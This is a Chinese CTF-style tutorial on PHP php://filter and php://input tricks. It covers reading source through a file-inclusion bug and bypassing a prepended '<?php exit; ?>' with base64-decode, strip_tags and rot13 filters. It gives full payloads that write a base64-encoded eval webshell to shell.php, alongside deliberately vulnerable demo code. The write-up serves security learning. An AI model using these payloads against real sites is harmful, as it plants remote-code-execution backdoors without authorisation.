先来看一道题
BugkuCTF平台的一道题:flag在index里
点进去看url似乎是一道文件包含的题:
直接包含index.php不会显示任何数据,可使用php://filter进行查看源数据
构造payload:php://filter/read=convert.base64-encode/resource=index.php
然后base64解密就可读取到数据:
<?php exit;?>绕过
首先来看下面一段代码:
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
highlight_file('shell.php');
?>
这段代码在内容的开头加了exit,所以即使我们写入一句话成功也无法连接。
但是此处的$_POST['filename']
可以使用PHP协议流,我们可以通过php://filter
来进行绕过
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
名称 | 描述 | 备注 | |
---|---|---|---|
resource=<要过滤的数据流> | 它指定了你要筛选过滤的数据流。 | 必选 | |
read=<读链的筛选列表> | 可以设定一个或多个过滤器名称,以管道符分隔。 | 可选 | |
write=<写链的筛选列表> | 可以设定一个或多个过滤器名称,以管道符分隔。 | 可选 | |
<;两个链的筛选列表> | 任何没有以read=或write=作前缀的筛选器列表会视情况应用于读或写链。 | \ |
绕过方法1:base64编码与解码
将$content进行base64编码,然后通过php://filter的base64-decode解码进行绕过。
[scode type="yellow"]注:
1、在Base64中的可打印字符包括字母A-Z、a-z、数字0-9共有62个字符,加上+、/共64个字符,实际上还有一个字符=来作为后缀
2、Base64编码的思想是是采用64个基本的ASCII码字符对数据进行重新编码。它将需要编码的数据拆分成字节数组。以3个字节为一组。按顺序排列24位数据,再把这24位数据分成4组,即每组6位。再在每组的的最高位前补两个0凑足一个字节。这样就把一个3字节为一组的数据重新编码成了4个字节。当所要编码的数据的字节数不是3的整倍数,也就是说在分组时最后一组不够3个字节。这时在最后一组填充1到2个0字节。并在最后编码完成后在结尾添加1到2个 “=”。
例:
1、字符对应ASCII值为:A(65)、B(66)、C(67)
2、转换为二进制为:A(01000001)、B(01000010)、C(01000011)
3、把二进制拼起来然后按每组6位分为4组:010000|010100|001001|000011
4、然后在每组最高位添加00构成4个字节:00010000|00010100|00001001|00000011
5、将二进制转化为十进制并查询Base64对应的索引表字符为:Q(16)、U(20)、J(9)、D(3)
6、ABC经过Base64编码后为:QUJD
[collapse status="false" title="点我查看Base64索引表"][/collapse]
[/scode]
<?php exit;?>
出去<、?、;、>(这几个字符以及空格不在base64编码范围内,忽略)只剩phpexit
七个字符,在base64进行解码时是4个byte一组,所以需要在后面添加一个“a”字符,凑个8个字符,这样phpexita
会正常解码,不会影响后面插入的一句话。
payload:txt=aPD9waHAgQGV2YWwoJF9QT1NUWycxMjM0NTYnXSk7Pz4=&filename=php://filter/write=convert.base64-decode/resource=shell.php
绕过方法2:strip_tags()字符串操作函数
下面参考phith0n大佬:谈一谈php://filter的妙用 ::quyin:1huaji::
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。
注释:该函数始终会剥离 HTML 注释。这点无法通过 allow 参数改变。
注释:该函数是二进制安全的。
<?php exit; ?>的实质就是XML标签
,那么他就可以被strip_tags去除,且php://filter是支持这个方法的。
使用测试语句:
<?php
echo readfile('php://filter/read=string.strip_tags/resource=php://input');
?>
上面结果显示<?php exit;?>被strip_tags成功去除。
如果我们直接这样进行处理的话,我们插入的一句话也会被去除
不过 ::tieba:Y.tb5:: php://filter
是支持使用多个过滤器的,使用|
分隔就行了。先使用strip_tags去除“死亡exit”,再使用base64-decode解密一句话。
payload:txt=PD9waHAgQGV2YWwoJF9QT1NUWycxMjM0NTYnXSk7Pz4=&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
绕过方法3:string.rot13
这个是看P牛的,自己尝试了下没成功 ::quyin:hematemesis::
过滤器:string.rot13
条件:不开启短标签,即php.ini
下short_open_tag = Off
POST数据text=<?cuc cucvasb();?>&filename=php://filter/write=string.rot13/resource=shell.php
php://input
<?php
$input=$_GET['input'];
$file=$_GET['file'];
if(isset($input)&&(file_get_contents($input,'r')==="tttttest")){
echo "True!\n\n";
include($file);
}else{
echo "False!";
}
?>
此处的要求是$input存在,且$input==='tttttest',这样才会包含$file
PHP参考手册的解释如下:
php://input
是个可以访问请求的原始数据的只读流。POST
请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。 而且,这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data 潜在需要更少的内存。enctype="multipart/form-data"
的时候 php://input 是无效的
。
file_get_contents():函数把整个文件读入一个字符串中。
此处的input必须为数据流
,所以这里可构造如下payload读取文件内容:
参考文章:https://www.leavesongs.com/PENETRATION/php-filter-magic.html
评论已关闭